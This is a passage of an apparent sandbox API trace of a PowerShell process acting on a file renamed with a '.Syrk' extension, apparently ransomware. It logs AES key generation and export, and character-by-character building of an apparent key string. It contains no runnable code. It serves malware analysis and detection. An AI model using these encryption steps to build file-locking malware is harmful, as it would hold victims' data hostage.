lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk", lpFilePart=0x0) returned 0x38 [0226.401] EtwEventActivityIdControl () returned 0x0 [0226.402] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.403] EtwEventActivityIdControl () returned 0x0 [0226.403] EtwEventActivityIdControl () returned 0x0 [0226.403] EtwEventActivityIdControl () returned 0x0 [0226.408] EtwEventActivityIdControl () returned 0x0 [0226.408] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.408] EtwEventActivityIdControl () returned 0x0 [0226.408] EtwEventActivityIdControl () returned 0x0 [0226.408] EtwEventActivityIdControl () returned 0x0 [0226.495] EtwEventActivityIdControl () returned 0x0 [0226.495] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.495] EtwEventActivityIdControl () returned 0x0 [0226.495] EtwEventActivityIdControl () returned 0x0 [0226.495] EtwEventActivityIdControl () returned 0x0 [0226.500] EtwEventActivityIdControl () returned 0x0 [0226.500] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.501] EtwEventActivityIdControl () returned 0x0 [0226.501] EtwEventActivityIdControl () returned 0x0 [0226.501] EtwEventActivityIdControl () returned 0x0 [0226.505] EtwEventActivityIdControl () returned 0x0 [0226.505] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.506] EtwEventActivityIdControl () returned 0x0 [0226.506] EtwEventActivityIdControl () returned 0x0 [0226.506] EtwEventActivityIdControl () returned 0x0 [0226.510] EtwEventActivityIdControl () returned 0x0 [0226.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0226.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2537c04 | out: lpFileInformation=0x2537c04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bc36a0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x2bc36a0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x2fc4ce0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x148e4)) returned 1 [0226.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0226.612] GetConsoleOutputCP () returned 0x1b5 [0226.612] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0226.612] GetConsoleOutputCP () returned 0x1b5 [0226.612] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0226.612] GetConsoleOutputCP () returned 0x1b5 [0226.612] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.612] GetConsoleOutputCP () returned 0x1b5 [0226.613] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.613] GetConsoleOutputCP () returned 0x1b5 [0226.613] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0226.613] GetConsoleOutputCP () returned 0x1b5 [0226.613] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0226.613] GetConsoleOutputCP () returned 0x1b5 [0226.613] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.614] GetConsoleOutputCP () returned 0x1b5 [0226.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.614] GetConsoleOutputCP () returned 0x1b5 [0226.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0226.614] GetConsoleOutputCP () returned 0x1b5 [0226.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0226.614] GetConsoleOutputCP () returned 0x1b5 [0226.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.615] GetConsoleOutputCP () returned 0x1b5 [0226.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.616] GetConsoleOutputCP () returned 0x1b5 [0226.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0226.616] GetConsoleOutputCP () returned 0x1b5 [0226.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0226.616] GetConsoleOutputCP () returned 0x1b5 [0226.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.616] GetConsoleOutputCP () returned 0x1b5 [0226.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0226.617] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0226.617] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0226.618] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2551894*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2551894*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0226.618] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0226.619] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0226.620] EtwEventActivityIdControl () returned 0x0 [0226.620] EtwEventActivityIdControl () returned 0x0 [0226.620] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.620] EtwEventActivityIdControl () returned 0x0 [0226.620] EtwEventActivityIdControl () returned 0x0 [0226.620] EtwEventActivityIdControl () returned 0x0 [0226.622] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.623] EtwEventActivityIdControl () returned 0x0 [0226.623] EtwEventActivityIdControl () returned 0x0 [0226.623] EtwEventActivityIdControl () returned 0x0 [0226.627] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0226.628] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c998e0) returned 1 [0226.628] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0226.628] CryptExportKey (in: hKey=0x5c998e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0226.628] CryptExportKey (in: hKey=0x5c998e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2559260, pdwDataLen=0x5a2e8c4 | out: pbData=0x2559260*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0226.629] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.629] EtwEventActivityIdControl () returned 0x0 [0226.629] EtwEventActivityIdControl () returned 0x0 [0226.629] EtwEventActivityIdControl () returned 0x0 [0226.630] SysStringLen (param_1="") returned 0x8 [0226.630] SysStringLen (param_1="/") returned 0x8 [0226.630] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.630] SysStringLen (param_1="榘䀜臭༱荹麽援") returned 0x8 [0226.630] SysStringLen (param_1="榘䀜臭༱荹麽援") returned 0x8 [0226.630] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.630] SysStringLen (param_1="/k") returned 0x8 [0226.630] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.631] SysStringLen (param_1="꺋똲⡕눂ꌵ볙") returned 0x8 [0226.631] SysStringLen (param_1="꺋똲⡕눂ꌵ볙") returned 0x8 [0226.631] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.631] SysStringLen (param_1="/kl") returned 0x8 [0226.631] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.631] SysStringLen (param_1="\◘м쮛ퟚ∾) returned 0x8 [0226.631] SysStringLen (param_1="\◘м쮛ퟚ∾) returned 0x8 [0226.631] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.631] SysStringLen (param_1="/klV") returned 0x8 [0226.631] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.631] SysStringLen (param_1="䱿戋臮텰忖℻") returned 0x8 [0226.631] SysStringLen (param_1="䱿戋臮텰忖℻") returned 0x8 [0226.631] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.632] SysStringLen (param_1="/klVp") returned 0x8 [0226.632] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.632] SysStringLen (param_1="穐딬⋓容‒㉹誏獒") returned 0x8 [0226.632] SysStringLen (param_1="穐딬⋓容‒㉹誏獒") returned 0x8 [0226.632] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.632] SysStringLen (param_1="/klVpp") returned 0x8 [0226.632] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.632] SysStringLen (param_1="葐茖鳿抍䩾뫘") returned 0x8 [0226.632] SysStringLen (param_1="葐茖鳿抍䩾뫘") returned 0x8 [0226.632] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.632] SysStringLen (param_1="/klVpp6") returned 0x8 [0226.633] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.633] SysStringLen (param_1="ꁉ爇冡猯縔ﾊ⚋꯻") returned 0x8 [0226.633] SysStringLen (param_1="ꁉ爇冡猯縔ﾊ⚋꯻") returned 0x8 [0226.633] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.633] SysStringLen (param_1="/klVpp6j") returned 0x8 [0226.633] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0226.633] SysStringLen (param_1="댉疀㻚努庫侍〣᯦") returned 0x8 [0226.633] SysStringLen (param_1="댉疀㻚努庫侍〣᯦") returned 0x8 [0226.633] SysStringLen (param_1="댉疀㻚努庫侍〣᯦") returned 0x8 [0226.634] SysStringLen (param_1="댉疀㻚努庫侍〣᯦") returned 0x10 [0226.634] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.634] SysStringLen (param_1="/klVpp6j1䴕䦳필鱗䍐훝") returned 0x10 [0226.634] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.635] SysStringLen (param_1="댉疀㻚努庫侍〣᯦ퟕ細㪍䬣ᵂᶝ\埘⊌) returned 0x10 [0226.635] SysStringLen (param_1="댉疀㻚努庫侍〣᯦ퟕ細㪍䬣ᵂᶝ\埘⊌) returned 0x10 [0226.635] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.635] SysStringLen (param_1="/klVpp6j15䦳필鱗䍐훝") returned 0x10 [0226.635] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.635] SysStringLen (param_1="댉疀㻚努庫侍〣᯦䆐ᜍ菣恶䎬∱") returned 0x10 [0226.635] SysStringLen (param_1="댉疀㻚努庫侍〣᯦䆐ᜍ菣恶䎬∱") returned 0x10 [0226.635] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.635] SysStringLen (param_1="/klVpp6j15L필鱗䍐훝") returned 0x10 [0226.635] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.635] SysStringLen (param_1="댉疀㻚努庫侍〣᯦넶럕뺤\骻≅⊰) returned 0x10 [0226.635] SysStringLen (param_1="댉疀㻚努庫侍〣᯦넶럕뺤\骻≅⊰) returned 0x10 [0226.636] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.636] SysStringLen (param_1="/klVpp6j15Ld필鱗䍐훝") returned 0x10 [0226.636] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.636] SysStringLen (param_1="댉疀㻚努庫侍〣᯦ے᳇偼颫荝剐샾릎") returned 0x10 [0226.636] SysStringLen (param_1="댉疀㻚努庫侍〣᯦ے᳇偼颫荝剐샾릎") returned 0x10 [0226.636] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.636] SysStringLen (param_1="/klVpp6j15Lda鱗䍐훝") returned 0x10 [0226.636] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.636] SysStringLen (param_1="댉疀㻚努庫侍〣᯦捛땢ﲜ혛㶍蚤㰃") returned 0x10 [0226.636] SysStringLen (param_1="댉疀㻚努庫侍〣᯦捛땢ﲜ혛㶍蚤㰃") returned 0x10 [0226.636] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.637] SysStringLen (param_1="/klVpp6j15Lday䍐훝") returned 0x10 [0226.637] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.637] SysStringLen (param_1="댉疀㻚努庫侍〣᯦䇉ᆭ穀괶✝魂ꠧ") returned 0x10 [0226.637] SysStringLen (param_1="댉疀㻚努庫侍〣᯦䇉ᆭ穀괶✝魂ꠧ") returned 0x10 [0226.637] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.638] SysStringLen (param_1="/klVpp6j15Lday8훝") returned 0x10 [0226.638] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.638] SysStringLen (param_1="댉疀㻚努庫侍〣᯦\䛘㭆ͩ肇獐墦ꬲ⊬) returned 0x10 [0226.638] SysStringLen (param_1="댉疀㻚努庫侍〣᯦\䛘㭆ͩ肇獐墦ꬲ⊬) returned 0x10 [0226.638] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.638] SysStringLen (param_1="/klVpp6j15Lday88") returned 0x10 [0226.638] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0226.638] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍") returned 0x10 [0226.638] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍") returned 0x10 [0226.638] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍") returned 0x10 [0226.639] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍") returned 0x18 [0226.639] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.639] SysStringLen (param_1="/klVpp6j15Lday88VᲉ㎎낷枯늿벾㾐") returned 0x18 [0226.639] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.639] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍瞸閾䏅冭ᢪᓤ긾") returned 0x18 [0226.639] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍瞸閾䏅冭ᢪᓤ긾") returned 0x18 [0226.639] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.640] SysStringLen (param_1="/klVpp6j15Lday88Vz㎎낷枯늿벾㾐") returned 0x18 [0226.640] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.640] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍춥䝃碮鍔\⧜됴∤) returned 0x18 [0226.640] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍춥䝃碮鍔\⧜됴∤) returned 0x18 [0226.640] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.640] SysStringLen (param_1="/klVpp6j15Lday88VzV낷枯늿벾㾐") returned 0x18 [0226.640] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.640] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍㗸\踉㫄൩ᑻᖛ⋣) returned 0x18 [0226.640] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍㗸\踉㫄൩ᑻᖛ⋣) returned 0x18 [0226.640] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.640] SysStringLen (param_1="/klVpp6j15Lday88VzVU枯늿벾㾐") returned 0x18 [0226.640] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.640] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍᭝焽ꪢ펲⿎ꌫ欣쯙") returned 0x18 [0226.641] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍᭝焽ꪢ펲⿎ꌫ欣쯙") returned 0x18 [0226.641] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.641] SysStringLen (param_1="/klVpp6j15Lday88VzVUr늿벾㾐") returned 0x18 [0226.641] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.641] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍㴳\꧚ꔨ騼ꪥ璉䊫≰) returned 0x18 [0226.641] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍㴳\꧚ꔨ騼ꪥ璉䊫≰) returned 0x18 [0226.641] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.641] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5벾㾐") returned 0x18 [0226.641] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.641] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍塵읣Ὕꘕأ䅠┤虙") returned 0x18 [0226.641] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍塵읣Ὕꘕأ䅠┤虙") returned 0x18 [0226.641] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.642] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t㾐") returned 0x18 [0226.642] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.642] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍겁饚⤳卂ꭖ࣢ݷ꟏") returned 0x18 [0226.642] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍겁饚⤳卂ꭖ࣢ݷ꟏") returned 0x18 [0226.642] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.642] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1") returned 0x18 [0226.642] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0226.642] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎") returned 0x18 [0226.642] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎") returned 0x18 [0226.642] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎") returned 0x18 [0226.643] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎") returned 0x20 [0226.643] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.643] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1P垅녻ö᫼牮︜唵") returned 0x20 [0226.643] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.643] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎爲䌩룆\竟齺活ꭶ⊘) returned 0x20 [0226.643] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎爲䌩룆\竟齺活ꭶ⊘) returned 0x20 [0226.643] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.643] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn녻ö᫼牮︜唵") returned 0x20 [0226.643] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.644] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎➢槤⍠຾僗鯥圲") returned 0x20 [0226.644] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎➢槤⍠຾僗鯥圲") returned 0x20 [0226.644] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.644] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/ö᫼牮︜唵") returned 0x20 [0226.644] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.644] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎麫ಪꯇԶឥ睾붊") returned 0x20 [0226.644] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎麫ಪꯇԶឥ睾붊") returned 0x20 [0226.644] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.644] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/n᫼牮︜唵") returned 0x20 [0226.644] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.644] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎틂෌♂꫒∬䴖卯") returned 0x20 [0226.645] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎틂෌♂꫒∬䴖卯") returned 0x20 [0226.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.645] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/na牮︜唵") returned 0x20 [0226.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.645] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎䂍լ⃖✴﫯줖㟙꾸") returned 0x20 [0226.645] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎䂍լ⃖✴﫯줖㟙꾸") returned 0x20 [0226.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.646] SysStringLen (param_1="/klVpp6j15Lday88VzVUr5t1Pn/naI︜唵") returned 0x20 [0226.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0226.646] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎뇓鶟坬盇鍃鼝撕╳") returned 0x20 [0226.646] SysStringLen (param_1="댉疀㻚努庫侍〣᯦瑕␜䓧੹Ӏ쿍漐옒머鄓쐑赯頎뇓鶟坬盇鍃鼝撕╳") returned 0x20 [0226.646] 